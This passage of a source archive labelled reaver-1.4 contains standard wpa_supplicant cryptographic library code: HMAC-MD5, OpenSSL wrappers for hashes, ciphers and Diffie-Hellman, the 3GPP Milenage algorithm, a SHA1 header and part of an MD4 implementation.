k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } if (md5_vector_non_fips_allow(1 + num_elem, _addr, _len, mac)) return -1; os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer MD5 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = MD5_MAC_LEN; return md5_vector_non_fips_allow(2, _addr, _len, mac); } /** * hmac_md5_non_fips_allow - HMAC-MD5 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { return hmac_md5_vector_non_fips_allow(key, key_len, 1, &data, &data_len, mac); } reaver-1.4/src/crypto/fips_prf_nss.c0000755000175000017500000000111011705505260017137 0ustar reaverreaver/* * FIPS 186-2 PRF for NSS * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { return -1; } reaver-1.4/src/crypto/crypto_openssl.c0000755000175000017500000002607111705505260017544 0ustar reaverreaver/* * WPA Supplicant / wrapper functions for libcrypto * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include #include #include #include #include #include "common.h" #include "wpabuf.h" #include "dh_group5.h" #include "crypto.h" #if OPENSSL_VERSION_NUMBER < 0x00907000 #define DES_key_schedule des_key_schedule #define DES_cblock des_cblock #define DES_set_key(key, schedule) des_set_key((key), *(schedule)) #define DES_ecb_encrypt(input, output, ks, enc) \ des_ecb_encrypt((input), (output), *(ks), (enc)) #endif /* openssl < 0.9.7 */ static BIGNUM * get_group5_prime(void) { #if OPENSSL_VERSION_NUMBER < 0x00908000 static const unsigned char RFC3526_PRIME_1536[] = { 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xC9,0x0F,0xDA,0xA2, 0x21,0x68,0xC2,0x34,0xC4,0xC6,0x62,0x8B,0x80,0xDC,0x1C,0xD1, 0x29,0x02,0x4E,0x08,0x8A,0x67,0xCC,0x74,0x02,0x0B,0xBE,0xA6, 0x3B,0x13,0x9B,0x22,0x51,0x4A,0x08,0x79,0x8E,0x34,0x04,0xDD, 0xEF,0x95,0x19,0xB3,0xCD,0x3A,0x43,0x1B,0x30,0x2B,0x0A,0x6D, 0xF2,0x5F,0x14,0x37,0x4F,0xE1,0x35,0x6D,0x6D,0x51,0xC2,0x45, 0xE4,0x85,0xB5,0x76,0x62,0x5E,0x7E,0xC6,0xF4,0x4C,0x42,0xE9, 0xA6,0x37,0xED,0x6B,0x0B,0xFF,0x5C,0xB6,0xF4,0x06,0xB7,0xED, 0xEE,0x38,0x6B,0xFB,0x5A,0x89,0x9F,0xA5,0xAE,0x9F,0x24,0x11, 0x7C,0x4B,0x1F,0xE6,0x49,0x28,0x66,0x51,0xEC,0xE4,0x5B,0x3D, 0xC2,0x00,0x7C,0xB8,0xA1,0x63,0xBF,0x05,0x98,0xDA,0x48,0x36, 0x1C,0x55,0xD3,0x9A,0x69,0x16,0x3F,0xA8,0xFD,0x24,0xCF,0x5F, 0x83,0x65,0x5D,0x23,0xDC,0xA3,0xAD,0x96,0x1C,0x62,0xF3,0x56, 0x20,0x85,0x52,0xBB,0x9E,0xD5,0x29,0x07,0x70,0x96,0x96,0x6D, 0x67,0x0C,0x35,0x4E,0x4A,0xBC,0x98,0x04,0xF1,0x74,0x6C,0x08, 0xCA,0x23,0x73,0x27,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, }; return BN_bin2bn(RFC3526_PRIME_1536, sizeof(RFC3526_PRIME_1536), NULL); #else /* openssl < 0.9.8 */ return get_rfc3526_prime_1536(NULL); #endif /* openssl < 0.9.8 */ } #if OPENSSL_VERSION_NUMBER < 0x00908000 #ifndef OPENSSL_NO_SHA256 #ifndef OPENSSL_FIPS #define NO_SHA256_WRAPPER #endif #endif #endif /* openssl < 0.9.8 */ #ifdef OPENSSL_NO_SHA256 #define NO_SHA256_WRAPPER #endif static int openssl_digest_vector(const EVP_MD *type, int non_fips, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { EVP_MD_CTX ctx; size_t i; unsigned int mac_len; EVP_MD_CTX_init(&ctx); #ifdef CONFIG_FIPS #ifdef OPENSSL_FIPS if (non_fips) EVP_MD_CTX_set_flags(&ctx, EVP_MD_CTX_FLAG_NON_FIPS_ALLOW); #endif /* OPENSSL_FIPS */ #endif /* CONFIG_FIPS */ if (!EVP_DigestInit_ex(&ctx, type, NULL)) { wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestInit_ex failed: %s", ERR_error_string(ERR_get_error(), NULL)); return -1; } for (i = 0; i < num_elem; i++) { if (!EVP_DigestUpdate(&ctx, addr[i], len[i])) { wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestUpdate " "failed: %s", ERR_error_string(ERR_get_error(), NULL)); return -1; } } if (!EVP_DigestFinal(&ctx, mac, &mac_len)) { wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestFinal failed: %s", ERR_error_string(ERR_get_error(), NULL)); return -1; } return 0; } int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_md4(), 0, num_elem, addr, len, mac); } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 pkey[8], next, tmp; int i; DES_key_schedule ks; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; DES_set_key(&pkey, &ks); DES_ecb_encrypt((DES_cblock *) clear, (DES_cblock *) cypher, &ks, DES_ENCRYPT); } int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len) { #ifdef OPENSSL_NO_RC4 return -1; #else /* OPENSSL_NO_RC4 */ EVP_CIPHER_CTX ctx; int outl; int res = -1; unsigned char skip_buf[16]; EVP_CIPHER_CTX_init(&ctx); if (!EVP_CIPHER_CTX_set_padding(&ctx, 0) || !EVP_CipherInit_ex(&ctx, EVP_rc4(), NULL, NULL, NULL, 1) || !EVP_CIPHER_CTX_set_key_length(&ctx, keylen) || !EVP_CipherInit_ex(&ctx, NULL, NULL, key, NULL, 1)) goto out; while (skip >= sizeof(skip_buf)) { size_t len = skip; if (len > sizeof(skip_buf)) len = sizeof(skip_buf); if (!EVP_CipherUpdate(&ctx, skip_buf, &outl, skip_buf, len)) goto out; skip -= len; } if (EVP_CipherUpdate(&ctx, data, &outl, data, data_len)) res = 0; out: EVP_CIPHER_CTX_cleanup(&ctx); return res; #endif /* OPENSSL_NO_RC4 */ } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_md5(), 0, num_elem, addr, len, mac); } #ifdef CONFIG_FIPS int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_md5(), 1, num_elem, addr, len, mac); } #endif /* CONFIG_FIPS */ int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_sha1(), 0, num_elem, addr, len, mac); } #ifndef NO_SHA256_WRAPPER int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_sha256(), 0, num_elem, addr, len, mac); } #endif /* NO_SHA256_WRAPPER */ void * aes_encrypt_init(const u8 *key, size_t len) { AES_KEY *ak; ak = os_malloc(sizeof(*ak)); if (ak == NULL) return NULL; if (AES_set_encrypt_key(key, 8 * len, ak) < 0) { os_free(ak); return NULL; } return ak; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { AES_encrypt(plain, crypt, ctx); } void aes_encrypt_deinit(void *ctx) { os_free(ctx); } void * aes_decrypt_init(const u8 *key, size_t len) { AES_KEY *ak; ak = os_malloc(sizeof(*ak)); if (ak == NULL) return NULL; if (AES_set_decrypt_key(key, 8 * len, ak) < 0) { os_free(ak); return NULL; } return ak; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { AES_decrypt(crypt, plain, ctx); } void aes_decrypt_deinit(void *ctx) { os_free(ctx); } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { BIGNUM *bn_base, *bn_exp, *bn_modulus, *bn_result; int ret = -1; BN_CTX *ctx; ctx = BN_CTX_new(); if (ctx == NULL) return -1; bn_base = BN_bin2bn(base, base_len, NULL); bn_exp = BN_bin2bn(power, power_len, NULL); bn_modulus = BN_bin2bn(modulus, modulus_len, NULL); bn_result = BN_new(); if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL || bn_result == NULL) goto error; if (BN_mod_exp(bn_result, bn_base, bn_exp, bn_modulus, ctx) != 1) goto error; *result_len = BN_bn2bin(bn_result, result); ret = 0; error: BN_free(bn_base); BN_free(bn_exp); BN_free(bn_modulus); BN_free(bn_result); BN_CTX_free(ctx); return ret; } struct crypto_cipher { EVP_CIPHER_CTX enc; EVP_CIPHER_CTX dec; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; const EVP_CIPHER *cipher; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; switch (alg) { #ifndef OPENSSL_NO_RC4 case CRYPTO_CIPHER_ALG_RC4: cipher = EVP_rc4(); break; #endif /* OPENSSL_NO_RC4 */ #ifndef OPENSSL_NO_AES case CRYPTO_CIPHER_ALG_AES: switch (key_len) { case 16: cipher = EVP_aes_128_cbc(); break; case 24: cipher = EVP_aes_192_cbc(); break; case 32: cipher = EVP_aes_256_cbc(); break; default: os_free(ctx); return NULL; } break; #endif /* OPENSSL_NO_AES */ #ifndef OPENSSL_NO_DES case CRYPTO_CIPHER_ALG_3DES: cipher = EVP_des_ede3_cbc(); break; case CRYPTO_CIPHER_ALG_DES: cipher = EVP_des_cbc(); break; #endif /* OPENSSL_NO_DES */ #ifndef OPENSSL_NO_RC2 case CRYPTO_CIPHER_ALG_RC2: cipher = EVP_rc2_ecb(); break; #endif /* OPENSSL_NO_RC2 */ default: os_free(ctx); return NULL; } EVP_CIPHER_CTX_init(&ctx->enc); EVP_CIPHER_CTX_set_padding(&ctx->enc, 0); if (!EVP_EncryptInit_ex(&ctx->enc, cipher, NULL, NULL, NULL) || !EVP_CIPHER_CTX_set_key_length(&ctx->enc, key_len) || !EVP_EncryptInit_ex(&ctx->enc, NULL, NULL, key, iv)) { EVP_CIPHER_CTX_cleanup(&ctx->enc); os_free(ctx); return NULL; } EVP_CIPHER_CTX_init(&ctx->dec); EVP_CIPHER_CTX_set_padding(&ctx->dec, 0); if (!EVP_DecryptInit_ex(&ctx->dec, cipher, NULL, NULL, NULL) || !EVP_CIPHER_CTX_set_key_length(&ctx->dec, key_len) || !EVP_DecryptInit_ex(&ctx->dec, NULL, NULL, key, iv)) { EVP_CIPHER_CTX_cleanup(&ctx->enc); EVP_CIPHER_CTX_cleanup(&ctx->dec); os_free(ctx); return NULL; } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { int outl; if (!EVP_EncryptUpdate(&ctx->enc, crypt, &outl, plain, len)) return -1; return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { int outl; outl = len; if (!EVP_DecryptUpdate(&ctx->dec, plain, &outl, crypt, len)) return -1; return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { EVP_CIPHER_CTX_cleanup(&ctx->enc); EVP_CIPHER_CTX_cleanup(&ctx->dec); os_free(ctx); } void * dh5_init(struct wpabuf **priv, struct wpabuf **publ) { DH *dh; struct wpabuf *pubkey = NULL, *privkey = NULL; size_t publen, privlen; *priv = NULL; *publ = NULL; dh = DH_new(); if (dh == NULL) return NULL; dh->g = BN_new(); if (dh->g == NULL || BN_set_word(dh->g, 2) != 1) goto err; dh->p = get_group5_prime(); if (dh->p == NULL) goto err; if (DH_generate_key(dh) != 1) goto err; publen = BN_num_bytes(dh->pub_key); pubkey = wpabuf_alloc(publen); if (pubkey == NULL) goto err; privlen = BN_num_bytes(dh->priv_key); privkey = wpabuf_alloc(privlen); if (privkey == NULL) goto err; BN_bn2bin(dh->pub_key, wpabuf_put(pubkey, publen)); BN_bn2bin(dh->priv_key, wpabuf_put(privkey, privlen)); *priv = privkey; *publ = pubkey; return dh; err: wpabuf_free(pubkey); wpabuf_free(privkey); DH_free(dh); return NULL; } struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, const struct wpabuf *own_private) { BIGNUM *pub_key; struct wpabuf *res = NULL; size_t rlen; DH *dh = ctx; int keylen; if (ctx == NULL) return NULL; pub_key = BN_bin2bn(wpabuf_head(peer_public), wpabuf_len(peer_public), NULL); if (pub_key == NULL) return NULL; rlen = DH_size(dh); res = wpabuf_alloc(rlen); if (res == NULL) goto err; keylen = DH_compute_key(wpabuf_mhead(res), pub_key, dh); if (keylen < 0) goto err; wpabuf_put(res, keylen); BN_free(pub_key); return res; err: BN_free(pub_key); wpabuf_free(res); return NULL; } void dh5_free(void *ctx) { DH *dh; if (ctx == NULL) return; dh = ctx; DH_free(dh); } reaver-1.4/src/crypto/milenage.c0000755000175000017500000002330711705505260016241 0ustar reaverreaver/* * 3GPP AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208) * Copyright (c) 2006-2007 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file implements an example authentication algorithm defined for 3GPP * AKA. This can be used to implement a simple HLR/AuC into hlr_auc_gw to allow * EAP-AKA to be tested properly with real USIM cards. * * This implementations assumes that the r1..r5 and c1..c5 constants defined in * TS 35.206 are used, i.e., r1=64, r2=0, r3=32, r4=64, r5=96, c1=00..00, * c2=00..01, c3=00..02, c4=00..04, c5=00..08. The block cipher is assumed to * be AES (Rijndael). */ #include "includes.h" #include "common.h" #include "crypto/aes_wrap.h" #include "milenage.h" /** * milenage_f1 - Milenage f1 and f1* algorithms * @opc: OPc = 128-bit value derived from OP and K * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @sqn: SQN = 48-bit sequence number * @amf: AMF = 16-bit authentication management field * @mac_a: Buffer for MAC-A = 64-bit network authentication code, or %NULL * @mac_s: Buffer for MAC-S = 64-bit resync authentication code, or %NULL * Returns: 0 on success, -1 on failure */ int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s) { u8 tmp1[16], tmp2[16], tmp3[16]; int i; /* tmp1 = TEMP = E_K(RAND XOR OP_C) */ for (i = 0; i < 16; i++) tmp1[i] = _rand[i] ^ opc[i]; if (aes_128_encrypt_block(k, tmp1, tmp1)) return -1; /* tmp2 = IN1 = SQN || AMF || SQN || AMF */ os_memcpy(tmp2, sqn, 6); os_memcpy(tmp2 + 6, amf, 2); os_memcpy(tmp2 + 8, tmp2, 8); /* OUT1 = E_K(TEMP XOR rot(IN1 XOR OP_C, r1) XOR c1) XOR OP_C */ /* rotate (tmp2 XOR OP_C) by r1 (= 0x40 = 8 bytes) */ for (i = 0; i < 16; i++) tmp3[(i + 8) % 16] = tmp2[i] ^ opc[i]; /* XOR with TEMP = E_K(RAND XOR OP_C) */ for (i = 0; i < 16; i++) tmp3[i] ^= tmp1[i]; /* XOR with c1 (= ..00, i.e., NOP) */ /* f1 || f1* = E_K(tmp3) XOR OP_c */ if (aes_128_encrypt_block(k, tmp3, tmp1)) return -1; for (i = 0; i < 16; i++) tmp1[i] ^= opc[i]; if (mac_a) os_memcpy(mac_a, tmp1, 8); /* f1 */ if (mac_s) os_memcpy(mac_s, tmp1 + 8, 8); /* f1* */ return 0; } /** * milenage_f2345 - Milenage f2, f3, f4, f5, f5* algorithms * @opc: OPc = 128-bit value derived from OP and K * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @res: Buffer for RES = 64-bit signed response (f2), or %NULL * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL * @ak: Buffer for AK = 48-bit anonymity key (f5), or %NULL * @akstar: Buffer for AK = 48-bit anonymity key (f5*), or %NULL * Returns: 0 on success, -1 on failure */ int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand, u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar) { u8 tmp1[16], tmp2[16], tmp3[16]; int i; /* tmp2 = TEMP = E_K(RAND XOR OP_C) */ for (i = 0; i < 16; i++) tmp1[i] = _rand[i] ^ opc[i]; if (aes_128_encrypt_block(k, tmp1, tmp2)) return -1; /* OUT2 = E_K(rot(TEMP XOR OP_C, r2) XOR c2) XOR OP_C */ /* OUT3 = E_K(rot(TEMP XOR OP_C, r3) XOR c3) XOR OP_C */ /* OUT4 = E_K(rot(TEMP XOR OP_C, r4) XOR c4) XOR OP_C */ /* OUT5 = E_K(rot(TEMP XOR OP_C, r5) XOR c5) XOR OP_C */ /* f2 and f5 */ /* rotate by r2 (= 0, i.e., NOP) */ for (i = 0; i < 16; i++) tmp1[i] = tmp2[i] ^ opc[i]; tmp1[15] ^= 1; /* XOR c2 (= ..01) */ /* f5 || f2 = E_K(tmp1) XOR OP_c */ if (aes_128_encrypt_block(k, tmp1, tmp3)) return -1; for (i = 0; i < 16; i++) tmp3[i] ^= opc[i]; if (res) os_memcpy(res, tmp3 + 8, 8); /* f2 */ if (ak) os_memcpy(ak, tmp3, 6); /* f5 */ /* f3 */ if (ck) { /* rotate by r3 = 0x20 = 4 bytes */ for (i = 0; i < 16; i++) tmp1[(i + 12) % 16] = tmp2[i] ^ opc[i]; tmp1[15] ^= 2; /* XOR c3 (= ..02) */ if (aes_128_encrypt_block(k, tmp1, ck)) return -1; for (i = 0; i < 16; i++) ck[i] ^= opc[i]; } /* f4 */ if (ik) { /* rotate by r4 = 0x40 = 8 bytes */ for (i = 0; i < 16; i++) tmp1[(i + 8) % 16] = tmp2[i] ^ opc[i]; tmp1[15] ^= 4; /* XOR c4 (= ..04) */ if (aes_128_encrypt_block(k, tmp1, ik)) return -1; for (i = 0; i < 16; i++) ik[i] ^= opc[i]; } /* f5* */ if (akstar) { /* rotate by r5 = 0x60 = 12 bytes */ for (i = 0; i < 16; i++) tmp1[(i + 4) % 16] = tmp2[i] ^ opc[i]; tmp1[15] ^= 8; /* XOR c5 (= ..08) */ if (aes_128_encrypt_block(k, tmp1, tmp1)) return -1; for (i = 0; i < 6; i++) akstar[i] = tmp1[i] ^ opc[i]; } return 0; } /** * milenage_generate - Generate AKA AUTN,IK,CK,RES * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @amf: AMF = 16-bit authentication management field * @k: K = 128-bit subscriber key * @sqn: SQN = 48-bit sequence number * @_rand: RAND = 128-bit random challenge * @autn: Buffer for AUTN = 128-bit authentication token * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL * @res: Buffer for RES = 64-bit signed response (f2), or %NULL * @res_len: Max length for res; set to used length or 0 on failure */ void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k, const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len) { int i; u8 mac_a[8], ak[6]; if (*res_len < 8) { *res_len = 0; return; } if (milenage_f1(opc, k, _rand, sqn, amf, mac_a, NULL) || milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) { *res_len = 0; return; } *res_len = 8; /* AUTN = (SQN ^ AK) || AMF || MAC */ for (i = 0; i < 6; i++) autn[i] = sqn[i] ^ ak[i]; os_memcpy(autn + 6, amf, 2); os_memcpy(autn + 8, mac_a, 8); } /** * milenage_auts - Milenage AUTS validation * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @auts: AUTS = 112-bit authentication token from client * @sqn: Buffer for SQN = 48-bit sequence number * Returns: 0 = success (sqn filled), -1 on failure */ int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts, u8 *sqn) { u8 amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */ u8 ak[6], mac_s[8]; int i; if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak)) return -1; for (i = 0; i < 6; i++) sqn[i] = auts[i] ^ ak[i]; if (milenage_f1(opc, k, _rand, sqn, amf, NULL, mac_s) || memcmp(mac_s, auts + 6, 8) != 0) return -1; return 0; } /** * gsm_milenage - Generate GSM-Milenage (3GPP TS 55.205) authentication triplet * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @sres: Buffer for SRES = 32-bit SRES * @kc: Buffer for Kc = 64-bit Kc * Returns: 0 on success, -1 on failure */ int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, u8 *kc) { u8 res[8], ck[16], ik[16]; int i; if (milenage_f2345(opc, k, _rand, res, ck, ik, NULL, NULL)) return -1; for (i = 0; i < 8; i++) kc[i] = ck[i] ^ ck[i + 8] ^ ik[i] ^ ik[i + 8]; #ifdef GSM_MILENAGE_ALT_SRES os_memcpy(sres, res, 4); #else /* GSM_MILENAGE_ALT_SRES */ for (i = 0; i < 4; i++) sres[i] = res[i] ^ res[i + 4]; #endif /* GSM_MILENAGE_ALT_SRES */ return 0; } /** * milenage_generate - Generate AKA AUTN,IK,CK,RES * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @k: K = 128-bit subscriber key * @sqn: SQN = 48-bit sequence number * @_rand: RAND = 128-bit random challenge * @autn: AUTN = 128-bit authentication token * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL * @res: Buffer for RES = 64-bit signed response (f2), or %NULL * @res_len: Variable that will be set to RES length * @auts: 112-bit buffer for AUTS * Returns: 0 on success, -1 on failure, or -2 on synchronization failure */ int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand, const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len, u8 *auts) { int i; u8 mac_a[8], ak[6], rx_sqn[6]; const u8 *amf; wpa_hexdump(MSG_DEBUG, "Milenage: AUTN", autn, 16); wpa_hexdump(MSG_DEBUG, "Milenage: RAND", _rand, 16); if (milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) return -1; *res_len = 8; wpa_hexdump_key(MSG_DEBUG, "Milenage: RES", res, *res_len); wpa_hexdump_key(MSG_DEBUG, "Milenage: CK", ck, 16); wpa_hexdump_key(MSG_DEBUG, "Milenage: IK", ik, 16); wpa_hexdump_key(MSG_DEBUG, "Milenage: AK", ak, 6); /* AUTN = (SQN ^ AK) || AMF || MAC */ for (i = 0; i < 6; i++) rx_sqn[i] = autn[i] ^ ak[i]; wpa_hexdump(MSG_DEBUG, "Milenage: SQN", rx_sqn, 6); if (os_memcmp(rx_sqn, sqn, 6) <= 0) { u8 auts_amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */ if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak)) return -1; wpa_hexdump_key(MSG_DEBUG, "Milenage: AK*", ak, 6); for (i = 0; i < 6; i++) auts[i] = sqn[i] ^ ak[i]; if (milenage_f1(opc, k, _rand, sqn, auts_amf, NULL, auts + 6)) return -1; wpa_hexdump(MSG_DEBUG, "Milenage: AUTS", auts, 14); return -2; } amf = autn + 6; wpa_hexdump(MSG_DEBUG, "Milenage: AMF", amf, 2); if (milenage_f1(opc, k, _rand, rx_sqn, amf, mac_a, NULL)) return -1; wpa_hexdump(MSG_DEBUG, "Milenage: MAC_A", mac_a, 8); if (os_memcmp(mac_a, autn + 8, 8) != 0) { wpa_printf(MSG_DEBUG, "Milenage: MAC mismatch"); wpa_hexdump(MSG_DEBUG, "Milenage: Received MAC_A", autn + 8, 8); return -1; } return 0; } reaver-1.4/src/crypto/sha1.h0000755000175000017500000000235211705505260015316 0ustar reaverreaver/* * SHA1 hash implementation and interface functions * Copyright (c) 2003-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef SHA1_H #define SHA1_H #define SHA1_MAC_LEN 20 int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); int sha1_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len); int sha1_t_prf(const u8 *key, size_t key_len, const char *label, const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len); int __must_check tls_prf(const u8 *secret, size_t secret_len, const char *label, const u8 *seed, size_t seed_len, u8 *out, size_t outlen); int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len, int iterations, u8 *buf, size_t buflen); #endif /* SHA1_H */ reaver-1.4/src/crypto/md4-internal.c0000755000175000017500000002012611705505260016752 0ustar reaverreaver/* * MD4 hash implementation * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #define MD4_BLOCK_LENGTH 64 #define MD4_DIGEST_LENGTH 16 typedef struct MD4Context { u32 state[4]; /* state */ u64 count; /* number of bits, mod 2^64 */ u8 buffer[MD4_BLOCK_LENGTH]; /* input buffer */ } MD4_CTX; static void MD4Init(MD4_CTX *ctx); static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len); static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx); int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { MD4_CTX ctx; size_t i; MD4Init(&ctx); for (i = 0; i < num_elem; i++) MD4Update(&ctx, addr[i], len[i]); MD4Final(mac, &ctx); return 0; } /* ===== start - public domain MD4 implementation ===== */ /* $OpenBSD: md4.c,v 1.7 2005/08/08 08:05:35 espie Exp $ */ /* * This code implements the MD4 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * Todd C. Miller modified the MD5 code to do MD4 based on RFC 1186. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. * * To compute the message digest of a chunk of bytes, declare an * MD4Context structure, pass it to MD4Init, call MD4Update as * needed on buffers full of bytes, and then call MD4Final, which * will fill a supplied 16-byte array with the digest. */ #define MD4_DIGEST_STRING_LENGTH (MD4_DIGEST_LENGTH * 2 + 1) static void MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]); #define PUT_64BIT_LE(cp, value) do { \ (cp)[7] = (value) >> 56; \ (cp)[6] = (value) >> 48; \ (cp)[5] = (value) >> 40; \ (cp)[4] = (value) >> 32; \ (cp)[3] = (value) >> 24; \ (cp)[2] = (value) >> 16; \ (cp)[1] = (value) >> 8; \ (cp)[0] = (value); } while (0) #define PUT_32BIT_LE(cp, value) do { \ (cp)[3] = (value) >> 24; \ (cp)[2] = (value) >> 16; \ (cp)[1] = (value) >> 8; \ (cp)[0] = (value); } while (0) static u8 PADDING[MD4_BLOCK_LENGTH] = { 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; /* * Start MD4 accumulation. * Set bit count to 0 and buffer to mysterious initialization constants. */ static void MD4Init(MD4_CTX *ctx) { ctx->count = 0; ctx->state[0] = 0x67452301; ctx->state[1] = 0xefcdab89; ctx->state[2] = 0x98badcfe; ctx->state[3] = 0x10325476; } /* * Update context to reflect the concatenation of another buffer full * of bytes. */ static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len) { size_t have, need; /* Check how many bytes we already have and how many more we need. */ have = (size_t)((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1)); need = MD4_BLOCK_LENGTH - have; /* Update bitcount */ ctx->count += (u64)len << 3; if (len >= need) { if (have != 0) { os_memcpy(ctx->buffer + have, input, need); 